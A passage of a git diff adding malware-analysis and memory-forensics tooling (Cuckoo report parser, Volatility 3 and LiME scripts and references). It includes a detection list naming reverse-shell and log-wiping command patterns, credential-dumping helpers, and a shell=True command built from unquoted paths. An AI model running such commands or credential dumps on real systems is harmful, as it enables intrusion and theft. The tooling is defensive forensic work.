"/opt/cuckoo/storage/analyses") + + +def submit_file(filepath, timeout=300, machine=None, package=None): + """Submit a malware sample to Cuckoo via REST API.""" + if not HAS_REQUESTS: + return None + url = f"{CUCKOO_API}/tasks/create/file" + files = {"file": (os.path.basename(filepath), open(filepath, "rb"))} + data = {"timeout": timeout} + if machine: + data["machine"] = machine + if package: + data["package"] = package + resp = requests.post(url, files=files, data=data) + if resp.status_code == 200: + return resp.json().get("task_id") + return None + + +def submit_url(url_to_analyze, timeout=300): + """Submit a URL to Cuckoo for analysis.""" + if not HAS_REQUESTS: + return None + url = f"{CUCKOO_API}/tasks/create/url" + data = {"url": url_to_analyze, "timeout": timeout} + resp = requests.post(url, data=data) + if resp.status_code == 200: + return resp.json().get("task_id") + return None + + +def get_task_status(task_id): + """Check the status of a Cuckoo analysis task.""" + if not HAS_REQUESTS: + return None + url = f"{CUCKOO_API}/tasks/view/{task_id}" + resp = requests.get(url) + if resp.status_code == 200: + return resp.json().get("task", {}).get("status") + return None + + +def load_report(task_id, report_dir=None): + """Load a Cuckoo JSON report from disk.""" + if report_dir is None: + report_dir = CUCKOO_STORAGE + report_path = os.path.join(report_dir, str(task_id), "reports", "report.json") + if os.path.exists(report_path): + with open(report_path, "r") as f: + return json.load(f) + return None + + +def analyze_processes(report): + """Extract and analyze the process tree from the Cuckoo report.""" + processes = [] + for proc in report.get("behavior", {}).get("processes", []): + pid = proc.get("pid") + ppid = proc.get("ppid") + name = proc.get("process_name") + suspicious_apis = [] + dangerous_apis = [ + "CreateRemoteThread", "VirtualAllocEx", "WriteProcessMemory", + "NtCreateThreadEx", "RegSetValueExA", "URLDownloadToFileA", + "ShellExecuteA", "ShellExecuteW", "WinExec", "CreateProcessA", + "NtWriteVirtualMemory", "QueueUserAPC", + ] + for call in proc.get("calls", []): + if call.get("api") in dangerous_apis: + args = {arg["name"]: arg["value"] for arg in call.get("arguments", [])} + suspicious_apis.append({"api": call["api"], "args": args}) + processes.append({ + "pid": pid, + "ppid": ppid, + "name": name, + "suspicious_api_calls": len(suspicious_apis), + "top_suspicious": suspicious_apis[:10], + }) + return processes + + +def analyze_network(report): + """Extract network activity from the Cuckoo report.""" + network = report.get("network", {}) + return { + "dns": [ + {"request": d.get("request"), "answers": d.get("answers", [])} + for d in network.get("dns", []) + ], + "http": [ + {"method": h.get("method"), "host": h.get("host"), + "uri": h.get("uri"), "body_size": len(h.get("body", ""))} + for h in network.get("http", []) + ], + "tcp_connections": [ + {"src": t.get("src"), "sport": t.get("sport"), + "dst": t.get("dst"), "dport": t.get("dport")} + for t in network.get("tcp", []) + ], + "udp_connections": [ + {"src": u.get("src"), "sport": u.get("sport"), + "dst": u.get("dst"), "dport": u.get("dport")} + for u in network.get("udp", []) + ], + } + + +def analyze_dropped_files(report): + """Extract dropped file information from the report.""" + dropped = [] + for d in report.get("dropped", []): + dropped.append({ + "filepath": d.get("filepath", ""), + "sha256": d.get("sha256", ""), + "size": d.get("size", 0), + "type": d.get("type", ""), + }) + return dropped + + +def analyze_signatures(report): + """Extract triggered behavioral signatures.""" + signatures = [] + for sig in report.get("signatures", []): + marks = [] + for mark in sig.get("marks", []): + if mark.get("ioc"): + marks.append(mark["ioc"]) + elif mark.get("call"): + marks.append(mark["call"].get("api", "")) + signatures.append({ + "name": sig.get("name"), + "severity": sig.get("severity"), + "description": sig.get("description"), + "marks": marks[:5], + }) + return sorted(signatures, key=lambda x: x.get("severity", 0), reverse=True) + + +def analyze_registry(report): + """Extract registry modifications from behavior summary.""" + summary = report.get("behavior", {}).get("summary", {}) + return { + "keys_modified": summary.get("keys", [])[:20], + "files_created": summary.get("files", [])[:20], + "mutexes": summary.get("mutexes", [])[:10], + } + + +def generate_summary(report, processes, network, dropped, signatures, registry): + """Generate a consolidated analysis summary.""" + info = report.get("info", {}) + score = info.get("score", 0) + return { + "task_id": info.get("id"), + "sample": info.get("category", "file"), + "analysis_time": info.get("duration", 0), + "machine": info.get("machine", {}).get("name", ""), + "threat_score": score, + "process_count": len(processes), + "suspicious_api_total": sum(p["suspicious_api_calls"] for p in processes), + "dns_queries": len(network["dns"]), + "http_requests": len(network["http"]), + "tcp_connections": len(network["tcp_connections"]), + "dropped_files": len(dropped), + "signatures_triggered": len(signatures), + "high_severity_sigs": len([s for s in signatures if s["severity"] >= 3]), + "registry_keys_modified": len(registry["keys_modified"]), + "files_created": len(registry["files_created"]), + } + + +if __name__ == "__main__": + print("=" * 60) + print("Cuckoo Sandbox Behavioral Analysis Agent") + print("Automated malware detonation and report parsing") + print("=" * 60) + + if len(sys.argv) > 1: + arg = sys.argv[1] + + # Check if argument is a report JSON path + if arg.endswith(".json") and os.path.exists(arg): + print(f"\n[*] Loading report: {arg}") + with open(arg, "r") as f: + report = json.load(f) + elif arg.isdigit(): + print(f"\n[*] Loading report for task ID: {arg}") + report = load_report(int(arg)) + elif os.path.exists(arg): + print(f"\n[*] Submitting sample: {arg}") + sha256 = hashlib.sha256(open(arg, "rb").read()).hexdigest() + print(f"[*] SHA-256: {sha256}") + task_id = submit_file(arg) + if task_id: + print(f"[*] Task submitted: ID={task_id}") + print(f"[*] Monitor at: {CUCKOO_API.replace('8090', '8080')}/analysis/{task_id}/") + else: + print("[ERROR] Failed to submit. Check Cuckoo API connection.") + sys.exit(0) + else: + report = None + + if report: + processes = analyze_processes(report) + network = analyze_network(report) + dropped = analyze_dropped_files(report) + signatures = analyze_signatures(report) + registry = analyze_registry(report) + summary = generate_summary(report, processes, network, dropped, signatures, registry) + + print(f"\n--- Analysis Summary ---") + print(f" Score: {summary['threat_score']}/10") + print(f" Processes: {summary['process_count']}") + print(f" Suspicious APIs: {summary['suspicious_api_total']}") + print(f" Signatures: {summary['signatures_triggered']} " + f"({summary['high_severity_sigs']} high severity)") + + print(f"\n--- Network ---") + print(f" DNS: {summary['dns_queries']}, HTTP: {summary['http_requests']}, " + f"TCP: {summary['tcp_connections']}") + for http in network["http"][:5]: + print(f" {http['method']} {http['host']}{http['uri']}") + + print(f"\n--- Dropped Files ---") + for d in dropped[:5]: + print(f" {d['filepath']} ({d['size']} bytes)") + + print(f"\n--- Top Signatures ---") + for s in signatures[:5]: + print(f" [{s['severity']}/5] {s['name']}: {s['description']}") + else: + print(f"\n[DEMO] Usage:") + print(f" python agent.py # Submit to Cuckoo") + print(f" python agent.py # Parse existing report") + print(f" python agent.py # Parse JSON report file") diff --git a/skills/analyzing-malware-family-relationships-with-malpedia/LICENSE b/skills/analyzing-malware-family-relationships-with-malpedia/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-malware-family-relationships-with-malpedia/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-malware-persistence-with-autoruns/LICENSE b/skills/analyzing-malware-persistence-with-autoruns/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-malware-persistence-with-autoruns/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-memory-dumps-with-volatility/LICENSE b/skills/analyzing-memory-dumps-with-volatility/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-memory-dumps-with-volatility/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-memory-dumps-with-volatility/references/api-reference.md b/skills/analyzing-memory-dumps-with-volatility/references/api-reference.md new file mode 100644 index 00000000..c536e756 --- /dev/null +++ b/skills/analyzing-memory-dumps-with-volatility/references/api-reference.md @@ -0,0 +1,99 @@ +# API Reference: Volatility 3 Memory Forensics + +## Core Syntax +```bash +vol3 -f [options] +vol3 -f memory.dmp --help # List all plugins +vol3 -f memory.dmp --help # Plugin-specific help +``` + +## Windows Plugins + +### Process Analysis +| Plugin | Purpose | +|--------|---------| +| `windows.pslist` | List active processes | +| `windows.pstree` | Process tree (parent-child) | +| `windows.psscan` | Pool-tag scan (finds hidden processes) | +| `windows.cmdline` | Process command-line arguments | +| `windows.envars` | Process environment variables | +| `windows.handles` | Process handle table | + +### Code Injection Detection +| Plugin | Purpose | +|--------|---------| +| `windows.malfind` | Detect injected code (RWX memory + PE headers) | +| `windows.hollowfind` | Detect process hollowing | +| `windows.dlllist` | List loaded DLLs per process | +| `windows.ldrmodules` | Detect unlinked DLLs | + +### Network +| Plugin | Purpose | +|--------|---------| +| `windows.netscan` | List network connections and listeners | +| `windows.netstat` | Network connections (older Windows) | + +### Kernel / Rootkit +| Plugin | Purpose | +|--------|---------| +| `windows.ssdt` | System Service Descriptor Table hooks | +| `windows.callbacks` | Kernel callback registrations | +| `windows.driverscan` | Scan for driver objects | +| `windows.modules` | Loaded kernel modules | +| `windows.idt` | Interrupt Descriptor Table | + +### Credentials +| Plugin | Purpose | +|--------|---------| +| `windows.hashdump` | Dump SAM password hashes | +| `windows.cachedump` | Dump cached domain credentials | +| `windows.lsadump` | Dump LSA secrets | + +### Registry +| Plugin | Purpose | +|--------|---------| +| `windows.registry.printkey` | Print registry key values | +| `windows.registry.hivelist` | List registry hives | +| `windows.registry.certificates` | Extract certificates | + +### File System +| Plugin | Purpose | +|--------|---------| +| `windows.filescan` | Scan for file objects | +| `windows.dumpfiles` | Extract files from memory | +| `windows.memmap` | Dump process memory | + +### YARA Scanning +```bash +vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar +vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar --pid 2184 +vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule Test { strings: $s = \"cmd.exe\" condition: $s }" +``` + +### Timeline +```bash +vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv +``` + +## Output Options +```bash +vol3 -f memory.dmp windows.pslist --output csv > processes.csv +vol3 -f memory.dmp windows.pslist --output json > processes.json +vol3 -f memory.dmp windows.malfind --dump --pid 2184 +``` + +## Memory Acquisition Tools + +| Tool | Platform | Command | +|------|----------|---------| +| WinPmem | Windows | `winpmem_mini_x64.exe memdump.raw` | +| DumpIt | Windows | `DumpIt.exe` (interactive) | +| LiME | Linux | `insmod lime.ko "path=/tmp/mem.lime format=lime"` | +| AVML | Linux | `avml /tmp/memory.lime` | + +## Symbols +```bash +# Download symbol packs +# https://downloads.volatilityfoundation.org/volatility3/symbols/ +# Place in: volatility3/symbols/ +``` diff --git a/skills/analyzing-memory-dumps-with-volatility/scripts/agent.py b/skills/analyzing-memory-dumps-with-volatility/scripts/agent.py new file mode 100644 index 00000000..ad6eb2af --- /dev/null +++ b/skills/analyzing-memory-dumps-with-volatility/scripts/agent.py @@ -0,0 +1,244 @@ +#!/usr/bin/env python3 +"""Memory forensics agent using Volatility 3 for malware detection in RAM dumps.""" + +import subprocess +import os +import sys +import json +import csv +import re +import io + + +def run_vol3(memory_dump, plugin, extra_args=""): + """Execute a Volatility 3 plugin and return output.""" + cmd = f"vol3 -f {memory_dump} {plugin} {extra_args}" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=300) + return result.stdout.strip(), result.stderr.strip(), result.returncode + + +def get_os_info(memory_dump): + """Identify the OS from the memory dump.""" + stdout, _, rc = run_vol3(memory_dump, "windows.info") + if rc == 0: + return {"os": "windows", "info": stdout} + stdout, _, rc = run_vol3(memory_dump, "linux.info") + if rc == 0: + return {"os": "linux", "info": stdout} + return {"os": "unknown", "info": ""} + + +def list_processes(memory_dump): + """List all running processes using pslist.""" + stdout, _, rc = run_vol3(memory_dump, "windows.pslist") + processes = [] + if rc == 0: + for line in stdout.splitlines()[2:]: + parts = line.split() + if len(parts) >= 6 and parts[0].isdigit(): + processes.append({ + "pid": int(parts[0]), + "ppid": int(parts[1]), + "name": parts[4] if len(parts) > 4 else "", + "offset": parts[0] if not parts[0].isdigit() else "", + }) + return processes + + +def scan_hidden_processes(memory_dump): + """Scan for hidden/unlinked processes using psscan.""" + stdout, _, rc = run_vol3(memory_dump, "windows.psscan") + processes = [] + if rc == 0: + for line in stdout.splitlines()[2:]: + parts = line.split() + if len(parts) >= 5 and parts[1].isdigit(): + processes.append({ + "offset": parts[0], + "pid": int(parts[1]), + "ppid": int(parts[2]) if parts[2].isdigit() else 0, + "name": parts[4] if len(parts) > 4 else "", + }) + return processes + + +def find_hidden_processes(pslist_procs, psscan_procs): + """Compare pslist and psscan to identify DKOM-hidden processes.""" + pslist_pids = {p["pid"] for p in pslist_procs} + hidden = [p for p in psscan_procs if p["pid"] not in pslist_pids and p["pid"] > 4] + return hidden + + +def detect_code_injection(memory_dump, pid=None): + """Detect injected code using malfind plugin.""" + extra = f"--pid {pid}" if pid else "" + stdout, _, rc = run_vol3(memory_dump, "windows.malfind", extra) + injections = [] + if rc == 0: + current = {} + for line in stdout.splitlines(): + if "PID" in line and "Process" in line: + continue + parts = line.split() + if len(parts) >= 4 and parts[0].isdigit(): + if current: + injections.append(current) + current = { + "pid": int(parts[0]), + "process": parts[1] if len(parts) > 1 else "", + "address": parts[2] if len(parts) > 2 else "", + "protection": parts[3] if len(parts) > 3 else "", + } + elif current and line.strip(): + current["data_preview"] = current.get("data_preview", "") + line.strip() + " " + if current: + injections.append(current) + return injections + + +def get_network_connections(memory_dump): + """Extract network connections using netscan.""" + stdout, _, rc = run_vol3(memory_dump, "windows.netscan") + connections = [] + if rc == 0: + for line in stdout.splitlines()[2:]: + parts = line.split() + if len(parts) >= 7: + connections.append({ + "protocol": parts[1] if len(parts) > 1 else "", + "local_addr": parts[2] if len(parts) > 2 else "", + "local_port": parts[3] if len(parts) > 3 else "", + "foreign_addr": parts[4] if len(parts) > 4 else "", + "foreign_port": parts[5] if len(parts) > 5 else "", + "state": parts[6] if len(parts) > 6 else "", + "pid": parts[7] if len(parts) > 7 else "", + "owner": parts[8] if len(parts) > 8 else "", + }) + return connections + + +def get_command_lines(memory_dump): + """Extract process command lines.""" + stdout, _, rc = run_vol3(memory_dump, "windows.cmdline") + cmdlines = [] + if rc == 0: + for line in stdout.splitlines()[2:]: + parts = line.split(None, 2) + if len(parts) >= 3 and parts[0].isdigit(): + cmdlines.append({ + "pid": int(parts[0]), + "process": parts[1], + "cmdline": parts[2], + }) + return cmdlines + + +def dump_credentials(memory_dump): + """Extract cached credentials using hashdump and lsadump.""" + results = {} + stdout, _, rc = run_vol3(memory_dump, "windows.hashdump") + if rc == 0: + results["hashdump"] = stdout + stdout, _, rc = run_vol3(memory_dump, "windows.cachedump") + if rc == 0: + results["cachedump"] = stdout + stdout, _, rc = run_vol3(memory_dump, "windows.lsadump") + if rc == 0: + results["lsadump"] = stdout + return results + + +def scan_with_yara(memory_dump, yara_file=None, yara_rule=None, pid=None): + """Scan memory with YARA rules.""" + extra = "" + if yara_file: + extra += f"--yara-file {yara_file}" + elif yara_rule: + extra += f'--yara-rules "{yara_rule}"' + if pid: + extra += f" --pid {pid}" + stdout, _, rc = run_vol3(memory_dump, "yarascan.YaraScan", extra) + return stdout if rc == 0 else "" + + +def check_suspicious_processes(pslist_procs): + """Check process list for common suspicious indicators.""" + findings = [] + expected_parents = { + "svchost.exe": ["services.exe"], + "csrss.exe": ["smss.exe"], + "lsass.exe": ["wininit.exe"], + "smss.exe": ["System"], + } + name_counts = {} + for p in pslist_procs: + name = p["name"].lower() + name_counts[name] = name_counts.get(name, 0) + 1 + + if name_counts.get("lsass.exe", 0) > 1: + findings.append({"severity": "CRITICAL", + "finding": "Multiple lsass.exe instances detected"}) + + misspellings = { + "scvhost.exe": "svchost.exe", "svch0st.exe": "svchost.exe", + "lssas.exe": "lsass.exe", "csrs.exe": "csrss.exe", + } + for p in pslist_procs: + if p["name"].lower() in misspellings: + findings.append({ + "severity": "HIGH", + "finding": f"Misspelled process: {p['name']} (PID {p['pid']}) " + f"mimicking {misspellings[p['name'].lower()]}", + }) + return findings + + +if __name__ == "__main__": + print("=" * 60) + print("Memory Forensics Agent (Volatility 3)") + print("Process analysis, injection detection, credential extraction") + print("=" * 60) + + dump_file = sys.argv[1] if len(sys.argv) > 1 else None + + if dump_file and os.path.exists(dump_file): + print(f"\n[*] Analyzing memory dump: {dump_file}") + print(f"[*] Size: {os.path.getsize(dump_file) / (1024**3):.1f} GB") + + print("\n--- OS Identification ---") + os_info = get_os_info(dump_file) + print(f" OS: {os_info['os']}") + + print("\n--- Process Analysis ---") + procs = list_processes(dump_file) + print(f" Active processes: {len(procs)}") + suspicious = check_suspicious_processes(procs) + for s in suspicious: + print(f" [{s['severity']}] {s['finding']}") + + print("\n--- Hidden Process Detection ---") + psscan = scan_hidden_processes(dump_file) + hidden = find_hidden_processes(procs, psscan) + if hidden: + for h in hidden: + print(f" [!] Hidden process: {h['name']} PID={h['pid']}") + else: + print(" No hidden processes detected") + + print("\n--- Code Injection Detection ---") + injections = detect_code_injection(dump_file) + print(f" Injected regions: {len(injections)}") + for inj in injections[:5]: + print(f" [!] PID {inj['pid']} ({inj.get('process', '')}): {inj.get('protection', '')}") + + print("\n--- Network Connections ---") + conns = get_network_connections(dump_file) + established = [c for c in conns if "ESTABLISHED" in c.get("state", "")] + print(f" Total: {len(conns)}, Established: {len(established)}") + for c in established[:10]: + print(f" {c.get('owner', '?')} (PID {c.get('pid', '?')}): " + f"{c['local_addr']}:{c['local_port']} -> " + f"{c['foreign_addr']}:{c['foreign_port']}") + else: + print(f"\n[DEMO] Usage: python agent.py ") + print("[*] Provide a memory dump for forensic analysis.") diff --git a/skills/analyzing-memory-forensics-with-lime-and-volatility/LICENSE b/skills/analyzing-memory-forensics-with-lime-and-volatility/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-memory-forensics-with-lime-and-volatility/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-memory-forensics-with-lime-and-volatility/SKILL.md b/skills/analyzing-memory-forensics-with-lime-and-volatility/SKILL.md new file mode 100644 index 00000000..0dbea8b4 --- /dev/null +++ b/skills/analyzing-memory-forensics-with-lime-and-volatility/SKILL.md @@ -0,0 +1,52 @@ +--- +name: analyzing-memory-forensics-with-lime-and-volatility +description: > + Performs Linux memory acquisition using LiME (Linux Memory Extractor) kernel module + and analysis with Volatility 3 framework. Extracts process lists, network connections, + bash history, loaded kernel modules, and injected code from Linux memory images. + Use when performing incident response on compromised Linux systems. +--- + +# Analyzing Memory Forensics with LiME and Volatility + +## Instructions + +Acquire Linux memory using LiME kernel module, then analyze with Volatility 3 +to extract forensic artifacts from the memory image. + +```bash +# LiME acquisition +insmod lime-$(uname -r).ko "path=/evidence/memory.lime format=lime" + +# Volatility 3 analysis +vol3 -f /evidence/memory.lime linux.pslist +vol3 -f /evidence/memory.lime linux.bash +vol3 -f /evidence/memory.lime linux.sockstat +``` + +```python +import volatility3 +from volatility3.framework import contexts, automagic +from volatility3.plugins.linux import pslist, bash, sockstat + +# Programmatic Volatility 3 usage +context = contexts.Context() +automagics = automagic.available(context) +``` + +Key analysis steps: +1. Acquire memory with LiME (format=lime or format=raw) +2. List processes with linux.pslist, compare with linux.psscan +3. Extract bash command history with linux.bash +4. List network connections with linux.sockstat +5. Check loaded kernel modules with linux.lsmod for rootkits + +## Examples + +```bash +# Full forensic workflow +vol3 -f memory.lime linux.pslist | grep -v "\[kthread\]" +vol3 -f memory.lime linux.bash +vol3 -f memory.lime linux.malfind +vol3 -f memory.lime linux.lsmod +``` diff --git a/skills/analyzing-memory-forensics-with-lime-and-volatility/references/api-reference.md b/skills/analyzing-memory-forensics-with-lime-and-volatility/references/api-reference.md new file mode 100644 index 00000000..15b1b9f8 --- /dev/null +++ b/skills/analyzing-memory-forensics-with-lime-and-volatility/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Analyzing Memory Forensics with LiME and Volatility + +## LiME (Linux Memory Extractor) + +```bash +# Build LiME module +cd LiME/src && make + +# Acquire memory (lime format - includes metadata) +insmod lime-$(uname -r).ko "path=/evidence/mem.lime format=lime" + +# Acquire memory (raw format) +insmod lime-$(uname -r).ko "path=/evidence/mem.raw format=raw" + +# Acquire over network +insmod lime.ko "path=tcp:4444 format=lime" +# On forensic workstation: nc target 4444 > mem.lime +``` + +## Volatility 3 Linux Plugins + +| Plugin | Description | +|--------|-------------| +| `linux.pslist` | List processes via task_struct | +| `linux.psscan` | Brute-force scan for task_struct | +| `linux.bash` | Recovered bash command history | +| `linux.sockstat` | Network connections | +| `linux.lsmod` | Loaded kernel modules | +| `linux.malfind` | Detect injected code | +| `linux.check_afinfo` | Detect network hooking | +| `linux.tty_check` | Detect TTY hooking | +| `linux.proc.Maps` | Process memory maps | + +## Volatility 3 CLI + +```bash +vol3 -f memory.lime linux.pslist +vol3 -f memory.lime linux.bash +vol3 -f memory.lime linux.sockstat +vol3 -f memory.lime linux.malfind +vol3 -f memory.lime linux.lsmod +vol3 -f memory.lime linux.check_afinfo +``` + +## Hidden Process Detection + +```bash +# Compare pslist (linked list) vs psscan (brute force) +vol3 -f mem.lime linux.pslist > pslist.txt +vol3 -f mem.lime linux.psscan > psscan.txt +diff pslist.txt psscan.txt +``` + +### References + +- LiME: https://github.com/504ensicsLabs/LiME +- Volatility 3: https://github.com/volatilityfoundation/volatility3 +- Volatility 3 docs: https://volatility3.readthedocs.io/ diff --git a/skills/analyzing-memory-forensics-with-lime-and-volatility/scripts/agent.py b/skills/analyzing-memory-forensics-with-lime-and-volatility/scripts/agent.py new file mode 100644 index 00000000..c5a78cb1 --- /dev/null +++ b/skills/analyzing-memory-forensics-with-lime-and-volatility/scripts/agent.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python3 +"""Agent for Linux memory forensics using LiME acquisition and Volatility 3.""" + +import os +import json +import subprocess +import argparse +from datetime import datetime +from pathlib import Path + + +def acquire_memory_lime(output_path, lime_format="lime"): + """Acquire memory using LiME kernel module.""" + kernel_version = subprocess.run( + ["uname", "-r"], capture_output=True, text=True + ).stdout.strip() + lime_module = f"lime-{kernel_version}.ko" + if not Path(lime_module).exists(): + lime_module = "lime.ko" + cmd = ["insmod", lime_module, f"path={output_path}", f"format={lime_format}"] + result = subprocess.run(cmd, capture_output=True, text=True) + return { + "status": "success" if result.returncode == 0 else "failed", + "output_path": output_path, + "format": lime_format, + "kernel": kernel_version, + "stderr": result.stderr, + } + + +def run_vol3_plugin(image_path, plugin_name, extra_args=None): + """Run a Volatility 3 plugin and capture output.""" + cmd = ["vol3", "-f", image_path, plugin_name] + if extra_args: + cmd.extend(extra_args) + try: + result = subprocess.run( + cmd, capture_output=True, text=True, timeout=300, + ) + lines = result.stdout.strip().splitlines() + return {"plugin": plugin_name, "output": lines, "error": result.stderr.strip()} + except subprocess.TimeoutExpired: + return {"plugin": plugin_name, "output": [], "error": "Timeout"} + + +def parse_pslist_output(lines): + """Parse Volatility linux.pslist output into structured data.""" + processes = [] + for line in lines: + parts = line.split() + if len(parts) >= 4 and parts[0].isdigit(): + processes.append({ + "pid": int(parts[0]), + "ppid": int(parts[1]) if parts[1].isdigit() else 0, + "name": parts[-1], + }) + return processes + + +def list_processes(image_path): + """List all processes from memory image.""" + result = run_vol3_plugin(image_path, "linux.pslist") + return parse_pslist_output(result.get("output", [])) + + +def extract_bash_history(image_path): + """Extract bash command history from memory.""" + result = run_vol3_plugin(image_path, "linux.bash") + commands = [] + for line in result.get("output", []): + parts = line.split(None, 3) + if len(parts) >= 4 and parts[0].isdigit(): + commands.append({ + "pid": int(parts[0]), + "name": parts[1], + "timestamp": parts[2] if len(parts) > 2 else "", + "command": parts[3] if len(parts) > 3 else "", + }) + return commands + + +def list_network_connections(image_path): + """List network connections from memory.""" + result = run_vol3_plugin(image_path, "linux.sockstat") + connections = [] + for line in result.get("output", []): + if "TCP" in line or "UDP" in line: + connections.append(line.strip()) + return connections + + +def list_kernel_modules(image_path): + """List loaded kernel modules to detect rootkits.""" + result = run_vol3_plugin(image_path, "linux.lsmod") + modules = [] + for line in result.get("output", []): + parts = line.split() + if parts and not parts[0].startswith("Offset"): + modules.append({"name": parts[-1] if parts else line.strip()}) + return modules + + +def detect_hidden_processes(image_path): + """Compare pslist vs psscan to find hidden processes.""" + pslist = run_vol3_plugin(image_path, "linux.pslist") + psscan = run_vol3_plugin(image_path, "linux.psscan") + pslist_pids = set() + for line in pslist.get("output", []): + parts = line.split() + if parts and parts[0].isdigit(): + pslist_pids.add(int(parts[0])) + hidden = [] + for line in psscan.get("output", []): + parts = line.split() + if parts and parts[0].isdigit(): + pid = int(parts[0]) + if pid not in pslist_pids and pid > 0: + hidden.append({"pid": pid, "line": line.strip()}) + return hidden + + +def detect_suspicious_commands(bash_history): + """Flag suspicious commands in bash history.""" + suspicious_patterns = [ + "curl.*|.*sh", "wget.*&&.*chmod", "base64.*-d", + "nc.*-e", "python.*-c.*import.*socket", + "nohup", "rm.*-rf.*/var/log", "history.*-c", + "iptables.*-F", "chmod.*777", "chattr.*-i", + ] + import re + findings = [] + for entry in bash_history: + cmd = entry.get("command", "") + for pattern in suspicious_patterns: + if re.search(pattern, cmd, re.IGNORECASE): + findings.append({ + "pid": entry["pid"], + "command": cmd, + "pattern": pattern, + "severity": "HIGH", + }) + break + return findings + + +def check_malfind(image_path): + """Run malfind to detect injected code.""" + result = run_vol3_plugin(image_path, "linux.malfind") + return result.get("output", []) + + +def main(): + parser = argparse.ArgumentParser(description="LiME + Volatility 3 Forensics Agent") + parser.add_argument("--image", help="Path to memory image") + parser.add_argument("--acquire", help="Output path for LiME acquisition") + parser.add_argument("--output", default="memory_forensics_report.json") + parser.add_argument("--action", choices=[ + "acquire", "pslist", "bash", "network", "modules", + "hidden", "malfind", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action == "acquire" and args.acquire: + result 